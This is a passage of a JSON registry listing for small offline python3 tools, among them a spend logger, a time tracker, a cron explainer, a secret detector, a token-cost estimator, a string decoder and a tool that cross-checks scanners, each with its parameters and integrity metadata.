machine.","example":"2026-09-05T14:22:03Z"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8bb9b2d4abe44607af0a0cfe5f88e74f4bb2ac996940cd38f7f7801aa19cb4cd","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/spent@0.1.1","reference":"rajkaria/spent@0.1.1","uri":"https://play.modiqo.ai/rajkaria/spent@0.1.1","manifest_uri":"https://play.modiqo.ai/rajkaria/spent@0.1.1","name":"spent","title":"spent","description":"`entry='320 lunch #food'`. That is the interaction. Three or four of those a day and you have a spend log that owes nothing to a bank, an app, a login or an export.\nIt reads an amount with or without a currency symbol, a label, and an optional #tag, and it keeps money in decimal arithmetic from end to end — never a float, because a float is how a total quietly becomes 4907.999999999999. The report gives you today, this month, the top categories with their share, the daily average, and — if you set a budget — where the month lands at the current rate.\nCurrencies are totalled apart and never converted. A made-up exchange rate would make one clean number out of two honest ones, so a month with rupees and dollars in it reports both.\n- Reads: only its own log, at `state_dir/spent.jsonl`. It does not read your bank, your mail, your receipts or your files. - Never reads: any credential, keychain or token file. This Play needs no account and has no login step, and it could not connect to a bank if it wanted to. - Never sends: `micro_core` imports no `urllib`, `http`, `socket` or `subprocess`, asserted by a test on every commit. - Writes: one appended line to `~/.rote-micro/spent.jsonl` (or wherever you point `state_dir`), and nothing else, ever. Appends only: nothing is deleted, truncated or rewritten in place. - An entry it cannot read an amount out of is refused with a message that says how to write it, and the run still exits cleanly. - Runs cold: set `demo=true` to read a bundled fourteen-day log copied to a temporary folder. Your own log is not opened.\nSee also: `receipt-ledger`, which totals the receipt files already on your disk — a different axis on the same question. Requires python3 3.9 or newer. No pip install, no node, no network, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-personal-finance","job-spend-tracking","job-budget-check","audience-everyone","effect-local-write","tool-jsonl"],"primary_domain":"domain-personal-finance","author":"rajkaria","version":"0.1.1","published_at":"2026-09-05T17:50:05.68345+00:00","visibility":"public","quality_score":1,"size_bytes":45454,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":2,"names":["record","report"]},"parameters":[{"name":"entry","type":"string","required":false,"default":"","description":"Amount first, then what it was for, and an optional #tag. A leading symbol sets the currency. Leave it empty to read the month back without adding to it.","example":"320 lunch #food"},{"name":"currency","type":"string","required":false,"default":"USD","description":"Used when the entry carries no symbol. Currencies are totalled apart, never converted, because a made-up exchange rate is worse than two honest numbers.","example":"INR"},{"name":"budget","type":"string","required":false,"default":"0","description":"Optional. When set, the report projects the month at the current rate and says whether that lands over.","example":"6000"},{"name":"state_dir","type":"string","required":false,"default":"~/.rote-micro","description":"The one directory this Play writes to. One append-only JSONL file per stream; nothing is ever deleted or rewritten in place.","example":"~/.rote-micro"},{"name":"tz","type":"string","required":false,"default":"","description":"Empty uses the machine's zone. A day boundary is a place, not a fact: this decides when today starts.","example":"Asia/Kolkata"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs the whole Play against bundled synthetic input, so a first run needs nothing configured and touches nothing of yours.","example":"false"},{"name":"now","type":"string","required":false,"default":"","description":"Empty reads the real clock. An ISO-8601 instant makes the run reproducible, which is how the tests and the demo produce the same bytes on every machine.","example":"2026-09-05T14:22:03Z"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b80eb97934f3c244a77c4308f10fd64e9a4416f313a9784b857e81a47e115e34","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/punch@0.1.1","reference":"rajkaria/punch@0.1.1","uri":"https://play.modiqo.ai/rajkaria/punch@0.1.1","manifest_uri":"https://play.modiqo.ai/rajkaria/punch@0.1.1","name":"punch","title":"punch","description":"Type one line saying what you are doing. That is the whole interaction, and it takes two seconds. Do it five or ten times a day and the Play starts answering a question your calendar cannot: not where the time went, but how many times the day was broken.\nA punch whose topic differs from the one before it is a context switch. The report gives you today's punches with their times, how many switches there were, how long the block you are currently in has run, the longest block you managed today, a sparkline of the last fortnight, and the streak of days you have kept it up. Pass `tag=api` and the tag is the topic, so \"fixing the parser\" and \"back on the API\" count as the same thread rather than as a switch.\nThe number worth sharing here is the switch count, and low is good — which makes it a stranger leaderboard than most, and a more honest one. Nothing here judges you for the number; it just tells you what it was, from what you typed.\n- Reads: only its own log, at `state_dir/punch.jsonl`. It does not read your calendar, your editor, your shell history or your machine. - Never reads: any credential, keychain or token file. This Play needs no account and has no login step. - Never sends: `micro_core` imports no `urllib`, `http`, `socket` or `subprocess`, asserted by a test on every commit. Nothing you type here leaves the machine. - Writes: one appended line to `~/.rote-micro/punch.jsonl` (or wherever you point `state_dir`), and nothing else, ever. Appends only: nothing is deleted, truncated or rewritten in place, so the log is always something you can read yourself. - A corrupt or half-written line costs itself and nothing else; the rest of the log still reports. - Runs cold: set `demo=true` to read a bundled fourteen-day log copied to a temporary folder. Your own log is not opened.\nSee also: `jot` for capturing a thought rather than a state, `streak` for the days rather than the hours, and `since-last`, which answers the same \"what just happened\" question about files. Requires python3 3.9 or newer. No pip install, no node, no network, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-personal-productivity","job-time-tracking","job-context-switch-audit","audience-everyone","effect-local-write","tool-jsonl"],"primary_domain":"domain-personal-productivity","author":"rajkaria","version":"0.1.1","published_at":"2026-09-05T17:50:03.171994+00:00","visibility":"public","quality_score":1,"size_bytes":45499,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":2,"names":["record","report"]},"parameters":[{"name":"note","type":"string","required":false,"default":"","description":"One line, written now. Leave it empty to read the day back without adding to it.","example":"back on the API"},{"name":"tag","type":"string","required":false,"default":"","description":"Optional. When given it is the topic instead of the note, so two differently worded punches on the same thing are not counted as a switch.","example":"api"},{"name":"state_dir","type":"string","required":false,"default":"~/.rote-micro","description":"The one directory this Play writes to. One append-only JSONL file per stream; nothing is ever deleted or rewritten in place.","example":"~/.rote-micro"},{"name":"days_back","type":"integer","required":false,"default":"14","description":"How many days the sparkline covers.","example":"14"},{"name":"tz","type":"string","required":false,"default":"","description":"Empty uses the machine's zone. A day boundary is a place, not a fact: this decides when today starts.","example":"Asia/Kolkata"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs the whole Play against bundled synthetic input, so a first run needs nothing configured and touches nothing of yours.","example":"false"},{"name":"now","type":"string","required":false,"default":"","description":"Empty reads the real clock. An ISO-8601 instant makes the run reproducible, which is how the tests and the demo produce the same bytes on every machine.","example":"2026-09-05T14:22:03Z"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f2ba74f4d963df1539020860aabf36248628d2218b6077bc9396bd5033f51e06","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/cron-when@0.1.1","reference":"rajkaria/cron-when@0.1.1","uri":"https://play.modiqo.ai/rajkaria/cron-when@0.1.1","manifest_uri":"https://play.modiqo.ai/rajkaria/cron-when@0.1.1","name":"cron-when","title":"cron-when","description":"You have a cron expression and a suspicion. This tells you what it says in English, the next five times it actually fires — in your zone and in UTC, side by side — how often that works out to be, and whether the clocks are going to ruin it.\nTwo things most cron readers get wrong, and this one does not. When both day-of-month and day-of-week are restricted, a day matches if EITHER matches: `0 0 13 * 5` is the thirteenth AND every Friday, not Friday the thirteenth. And a schedule pinned to an hour that a zone skips does not fire that day at all — `30 1 * * *` in Europe/London simply does not happen on the morning the clocks go forward — so that day is not offered as a fire, and the warning says which day and why. The other side of the same coin, an hour that happens twice when the clocks go back, is reported too.\nRanges, lists, steps, wrapping ranges like `22-2`, three-letter month and day names, Sunday as both 0 and 7, and the macros `@daily`, `@hourly`, `@weekly`, `@monthly`, `@yearly` and `@midnight` all read the way cron reads them. An expression that is not valid gets a message naming the field that is wrong, and the run still exits cleanly.\n- Reads: the expression you pass, and the system time-zone database. No files, no directories. - Never reads: any credential, keychain or token file. This Play needs no account and has no login step. - Never sends: `micro_core` imports no `urllib`, `http`, `socket` or `subprocess`, asserted by a test on every commit. - Writes nothing. No state, no cache, no output file. - Runs cold: set `demo=true` to read a bundled expression with nothing configured.\nSee also: `whatis`, which recognises a cron expression among everything else it recognises. Requires python3 3.9 or newer. No pip install, no node, no network, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-developer-tooling","job-schedule-review","job-timezone-check","audience-developers","effect-read-only","tool-cron"],"primary_domain":"domain-developer-tooling","author":"rajkaria","version":"0.1.1","published_at":"2026-09-05T17:50:00.745265+00:00","visibility":"public","quality_score":1,"size_bytes":45001,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["report"]},"parameters":[{"name":"expr","type":"string","required":false,"default":"","description":"Five fields, or a macro like @daily. Ranges, lists, steps and three-letter names all read the way cron reads them.","example":"30 9 * * 1-5"},{"name":"tz","type":"string","required":false,"default":"","description":"Empty uses the machine's zone. This is the zone whose clock changes decide whether a run is skipped or doubled.","example":"Europe/London"},{"name":"count","type":"integer","required":false,"default":"5","description":"How many upcoming fires to print, each in your zone and in UTC.","example":"5"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs the whole Play against bundled synthetic input, so a first run needs nothing configured and touches nothing of yours.","example":"false"},{"name":"now","type":"string","required":false,"default":"","description":"Empty reads the real clock. An ISO-8601 instant makes the run reproducible, which is how the tests and the demo produce the same bytes on every machine.","example":"2026-09-05T14:22:03Z"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:32ad7d39b9e105fb89559a3eecdaa7e141724d7d1e6b22b51f518639aaed4a63","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/is-it-secret@0.1.1","reference":"rajkaria/is-it-secret@0.1.1","uri":"https://play.modiqo.ai/rajkaria/is-it-secret@0.1.1","manifest_uri":"https://play.modiqo.ai/rajkaria/is-it-secret@0.1.1","name":"is-it-secret","title":"is-it-secret","description":"Run this on anything you are about to paste into a chat, an agent, an issue or a screenshot. It tells you what is in there that should not leave your machine, and hands back the same text with those parts replaced, ready to paste.\nIt knows the literal shapes: AWS access key ids, GitHub tokens including fine-grained ones, Slack, Stripe live keys, Google, OpenAI, Anthropic, Twilio, SendGrid, npm and PyPI tokens, PEM and OpenSSH private key blocks, SSH public keys, JWTs, and connection strings carrying a password. On top of those it reads assignments: a name that says secret, token, password or api_key whose value is at least twelve characters and random enough — measured as Shannon entropy, not guessed — is reported too.\nPrecision is the whole product, because a checker that cries wolf gets turned off within a week and then it is protecting nothing. So `API_KEY=your-key-here` is not a finding. Neither is `${GITHUB_TOKEN}`, `$MY_VAR`, `<your-secret>`, `changeme`, a value made of one repeated character, Stripe's own `sk_test_` keys, or AWS's documented `AKIAIOSFODNN7EXAMPLE`. Every one of those exclusions has its own test.\nThe verdict is one of three words. `safe` means paste it. `redact` means there are things to take out first, and the redacted copy is printed for you. `do-not-paste` means at least one of them is a live credential shape.\n- Reads: the text you pass, or the file or folder at `path` (up to 200 files, 2 MB each). Nothing else. - Never reads: any credential store, keychain or token file of its own accord. It reads only what you point it at. - Never sends: `micro_core` imports no `urllib`, `http`, `socket` or `subprocess`, asserted by a test on every commit. The thing that finds your secrets is the last thing that should have a network stack, and it does not have one. - Writes nothing. The redacted copy is printed, never saved. - Never prints what it found. Every finding is masked to its first four and last two characters plus a length, in the human block and in the JSON alike, and a test asserts that the original value appears in neither. - Runs cold: set `demo=true` to scan a bundled synthetic `.env` with nothing configured.\nSee also: `safe-to-commit`, which runs the same detectors over your staged files before the commit, and `whatis`, which peels the thing rather than judging it. Requires python3 3.9 or newer. No pip install, no node, no network, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-security","job-secret-detection","job-paste-safety","audience-everyone","effect-read-only","tool-dotenv","tool-git"],"primary_domain":"domain-security","author":"rajkaria","version":"0.1.1","published_at":"2026-09-05T17:49:59.05787+00:00","visibility":"public","quality_score":1,"size_bytes":45768,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["report"]},"parameters":[{"name":"text","type":"string","required":false,"default":"","description":"The snippet you are about to paste into a chat, an agent or an issue. Nothing leaves this machine.","example":"PASTE=whatever-you-were-about-to-send"},{"name":"path","type":"string","required":false,"default":"","description":"Read instead of text. A folder is read up to 200 files deep.","example":"./.env"},{"name":"strict","type":"string","required":false,"default":"true","description":"true also flags an assignment whose name says secret and whose value is random enough to be one. false keeps only the literal key shapes.","example":"true"},{"name":"show","type":"string","required":false,"default":"redacted","description":"redacted prints your text back with every finding replaced, ready to paste. none prints the findings only.","example":"redacted"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs the whole Play against bundled synthetic input, so a first run needs nothing configured and touches nothing of yours.","example":"false"},{"name":"now","type":"string","required":false,"default":"","description":"Empty reads the real clock. An ISO-8601 instant makes the run reproducible, which is how the tests and the demo produce the same bytes on every machine.","example":"2026-09-05T14:22:03Z"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:df515bdf518e8e1c1a7e802364f961f38c4a1b7e7aca2da5745496eb9a103dfc","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/fits@0.1.1","reference":"rajkaria/fits@0.1.1","uri":"https://play.modiqo.ai/rajkaria/fits@0.1.1","manifest_uri":"https://play.modiqo.ai/rajkaria/fits@0.1.1","name":"fits","title":"fits","description":"Before you paste forty kilobytes into an agent: will it fit, and what will it cost. Point it at text or at a file and it answers both, plus the things nobody bothers to count — bytes, lines, words, and what the text actually looks like.\nThe bytes, lines and words are facts. The token count is not, and this Play refuses to pretend otherwise. The standard library has no tokenizer, so the count comes from a stated character-class model — ASCII prose at roughly four characters per token, punctuation-dense code nearer three, CJK at about one token per character — and it is printed as a RANGE with a band of ±15%, widened to ±25% when the text is mostly non-ASCII. The method travels in the same output as the number, so nobody has to guess how much to trust it. A single confident figure would have been easier to read and worse to rely on.\nThe money is real, though: the cost comes from the same maintained price table the `comped` Play prices a month with, so the rates are the ones actually charged, and a model the table does not know is named in the output instead of being priced at zero.\n- Reads: the text you pass, or the file or folder at `path` (up to 200 files, 2 MB each). Nothing else. - Never reads: any credential, keychain or token file. This Play needs no account and has no login step. - Never sends: `micro_core` imports no `urllib`, `http`, `socket` or `subprocess`, asserted by a test on every commit. The price table is a JSON file bundled inside the Play; nothing is fetched at run time. - Writes nothing. No state, no cache, no output file. - Runs cold: set `demo=true` to measure a bundled 40 KB document with nothing configured.\nSee also: `last-turn`, which prices the turn that actually happened, and `budget-left`, which tells you what today has left in it. Requires python3 3.9 or newer. No pip install, no node, no network, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-agent-operations","job-context-sizing","job-cost-estimation","audience-developers","effect-read-only","tool-claude-code","tool-codex"],"primary_domain":"domain-agent-operations","author":"rajkaria","version":"0.1.1","published_at":"2026-09-05T17:49:57.079075+00:00","visibility":"public","quality_score":1,"size_bytes":81617,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["report"]},"parameters":[{"name":"text","type":"string","required":false,"default":"","description":"The text to measure. Leave it empty and set path instead to measure a file or a folder.","example":"the text you are about to paste"},{"name":"path","type":"string","required":false,"default":"","description":"Measured instead of text. A folder is read up to 200 files deep and totalled.","example":"./src/main.py"},{"name":"window","type":"integer","required":false,"default":"200000","description":"The window you are aiming at, in tokens. The percentage and the headroom are measured against this.","example":"200000"},{"name":"models","type":"string","required":false,"default":"claude-opus-5,claude-sonnet-5,claude-haiku-4-5","description":"Comma-separated. A model the price table does not know is named in the output rather than priced at zero.","example":"claude-opus-5,claude-sonnet-5"},{"name":"rates_path","type":"string","required":false,"default":"","description":"Empty uses the price table bundled with the Play. Point it at your own JSON to price with different rates.","example":"~/prices.json"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs the whole Play against bundled synthetic input, so a first run needs nothing configured and touches nothing of yours.","example":"false"},{"name":"now","type":"string","required":false,"default":"","description":"Empty reads the real clock. An ISO-8601 instant makes the run reproducible, which is how the tests and the demo produce the same bytes on every machine.","example":"2026-09-05T14:22:03Z"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0d436cc08e98090c354aa43413860251d54a985db304930d0a1d259dc5f8e44a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/whatis@0.1.1","reference":"rajkaria/whatis@0.1.1","uri":"https://play.modiqo.ai/rajkaria/whatis@0.1.1","manifest_uri":"https://play.modiqo.ai/rajkaria/whatis@0.1.1","name":"whatis","title":"whatis","description":"Something opaque is on your clipboard and you need to know what it is before you can do anything with it. Paste it here. This identifies it and then peels it: a base64 blob holding gzip holding JSON holding a JWT is one input and four layers, and you get all four.\nIt reads JWTs (algorithm, every claim, and whether the thing expired four hours ago or expires in ninety days), base64 and base64url, hex, percent-encoding, gzip, JSON described by its shape rather than dumped at you, unix time in seconds, milliseconds, microseconds or nanoseconds, UUIDs v1 through v7 with the timestamp that is buried inside a v1 and a v7, ULIDs, IPv4 and IPv6 with the scope spelled out (private, loopback, link-local, carrier-grade NAT), CIDR ranges with their size, MAC addresses, semantic versions, cron expressions, hex colours, data URIs, e-mail addresses, URLs with the query string broken into pairs, hashes named by length, and the magic bytes of a PDF, PNG, ZIP or SQLite file sitting behind a base64 wrapper.\nThe order the detectors run in is the design. A forty-character git object id is reported as a sha1, not offered to the base64 reader, because the more constrained shape always wins. And where two readings are genuinely possible the output says so rather than picking quietly: a ten-digit integer is read as a time only when it lands between 2001 and 2038, and the note explaining that choice is printed next to the answer.\n- Reads: the text you pass in, and nothing else. There is no file access, no clipboard access, and no directory to configure. - Never reads: any credential, keychain or token file. This Play needs no account and has no login step. - Never sends: `micro_core` imports no `urllib`, `http`, `socket` or `subprocess`, which a test in the repository asserts on every commit. It does not even use `urllib.parse`; the percent-decoder is forty lines in the package, so the offline claim needs no exception. - Writes nothing. No state, no cache, no output file. - A JWT signature is never printed. You get its first eight characters and its length, which is enough to recognise it in your own file and not enough to use. - Runs cold: set `demo=true` to peel a bundled synthetic token with nothing configured.\nSee also: `is-it-secret`, which reads the same kind of paste and tells you what to redact, and `fits`, which tells you how big it is and what it costs to send. Requires python3 3.9 or newer. No pip install, no node, no network, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-developer-tooling","job-string-decoding","job-token-inspection","audience-developers","effect-read-only","tool-jwt","tool-base64"],"primary_domain":"domain-developer-tooling","author":"rajkaria","version":"0.1.1","published_at":"2026-09-05T17:49:55.193544+00:00","visibility":"public","quality_score":1,"size_bytes":45570,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["report"]},"parameters":[{"name":"text","type":"string","required":false,"default":"","description":"The opaque thing you are holding. Paste it whole; whatever it turns out to be, it is read on this machine and printed back to you.","example":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxIn0.sig"},{"name":"depth","type":"integer","required":false,"default":"4","description":"A base64 blob holding gzip holding JSON is three layers. This is where the peeling stops.","example":"4"},{"name":"reveal","type":"string","required":false,"default":"false","description":"false truncates every decoded value at 80 characters. true prints them in full. A JWT signature is never printed either way.","example":"false"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs the whole Play against bundled synthetic input, so a first run needs nothing configured and touches nothing of yours.","example":"false"},{"name":"now","type":"string","required":false,"default":"","description":"Empty reads the real clock. An ISO-8601 instant makes the run reproducible, which is how the tests and the demo produce the same bytes on every machine.","example":"2026-09-05T14:22:03Z"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d3b425d909680eba2a3ea1c7256a5443c71c0d1d58786b6f9737611390df9949","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rudraveersinghrathore/cross-examine@0.2.0","reference":"rudraveersinghrathore/cross-examine@0.2.0","uri":"https://play.modiqo.ai/rudraveersinghrathore/cross-examine@0.2.0","manifest_uri":"https://play.modiqo.ai/rudraveersinghrathore/cross-examine@0.2.0","name":"cross-examine","title":"cross-examine","description":"A tool told you your code was clean. Did it actually read it? Cross-Examine takes a claim (\"secret leak\", \"env drift\", \"dependency audit\") and a folder, finds every published Play making that claim, runs them all against your folder at once, and then does the thing none of them do for each other: it checks their answers against a ground-truth inventory of your actual files. That catches the failure mode nobody tests for -- a tool that reports success without reading anything. Verified live: one published security scanner rated a folder holding an AWS key, a Stripe secret and a GitHub token 'CLEAN, 100/100' because it scanned the path string instead of the files; a published env auditor answered 'All checks healthy' with an unresolved {{env_file}} template still sitting in its own output. Both green-lit the target without opening it. You get one plain-English verdict, each tool sorted by whether it demonstrably read your files, and every finding quoted from the tool that made it -- never a majority vote, never a silent exclusion. Read-only: write-flavored and credential-requiring candidates are refused by policy and named with the reason.","owner":{"kind":"user","slug":"rudraveersinghrathore"},"registry_organization":"rudraveersinghrathore","tags":["typescript","composition","verification","trust","security","second-opinion","meta"],"primary_domain":"domain-uncategorized","author":"rudraveersinghrathore","version":"0.2.0","published_at":"2026-09-05T16:59:13.590741+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":34273,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["select","discover","inventory","run_candidate"]},"parameters":[{"name":"claim","type":"string","required":true,"description":"What the tools should be claiming to do. Examples: 'secret leak', 'env drift', 'dependency audit', 'dead code'."},{"name":"target","type":"string","required":true,"description":"Absolute path to the folder to examine. Every candidate is pointed at this same folder and run read-only."},{"name":"max_candidates","type":"string","required":false,"default":"6","description":"How many discovered tools to actually run, in registry rank order. The rest are listed by name with the reason they were skipped."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6803e72ff8879555c6b39ba5e9095f48798e0ccc9a5ecdfea0d7fae8c0961566","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":3,"for_each_steps":1,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"rote","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/maannaaan/change-neighbor@0.1.2","reference":"maannaaan/change-neighbor@0.1.2","uri":"https://play.modiqo.ai/maannaaan/change-neighbor@0.1.2","manifest_uri":"https://play.modiqo.ai/maannaaan/change-neighbor@0.1.2","name":"change-neighbor","title":"change-neighbor","description":"Analyze uncommitted Git changes against repository history to discover files, tests, and system surfaces that historically change together. Change Neighbor helps developers review likely implementation neighbors before committing, using configurable historical evidence and confidence thresholds. All analysis runs locally and read-only; it never modifies the repository, executes project code, installs dependencies, or makes network calls.","owner":{"kind":"user","slug":"maannaaan"},"registry_organization":"maannaaan","tags":["git","code-review","developer-tools","repository-analysis","testing","software-engineering","effect-read-only"],"primary_domain":"domain-uncategorized","author":"maannaaan","version":"0.1.2","published_at":"2026-09-05T16:44:48.520571+00:00","visibility":"public","quality_score":1,"size_bytes":24647,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["analyze"]},"parameters":[{"name":"repo_path","type":"string","required":true,"description":"Absolute path to the Git repository to analyze."},{"name":"history_limit","type":"integer","required":false,"default":50,"description":"Maximum number of historical commits to analyze. Larger values provide broader historical evidence but may take longer."},{"name":"min_confidence","type":"integer","required":false,"default":25,"description":"Minimum confidence score required for a historical neighbor to appear in recommendations."},{"name":"include_tests","type":"boolean","required":false,"default":true,"description":"Include historically related tests and potential test coverage gaps."},{"name":"include_surfaces","type":"boolean","required":false,"default":true,"description":"Analyze related system surfaces such as API integration, frontend UI, backend logic, tests, and schema."},{"name":"base_ref","type":"string","required":false,"default":"","description":"Optional Git reference to use as a comparison baseline. Leave empty to analyze uncommitted changes."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:86df7b2710f1891ec1dad32e1d5b6df85222ea3a229209feb3dd8a19a2fe0513","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/shambhavi/ghost-route@0.1.1","reference":"shambhavi/ghost-route@0.1.1","uri":"https://play.modiqo.ai/shambhavi/ghost-route@0.1.1","manifest_uri":"https://play.modiqo.ai/shambhavi/ghost-route@0.1.1","name":"ghost-route","title":"ghost-route","description":"Find remaining code, issue, pull request, test, and documentation references to an API, feature, configuration key, command, or concept being 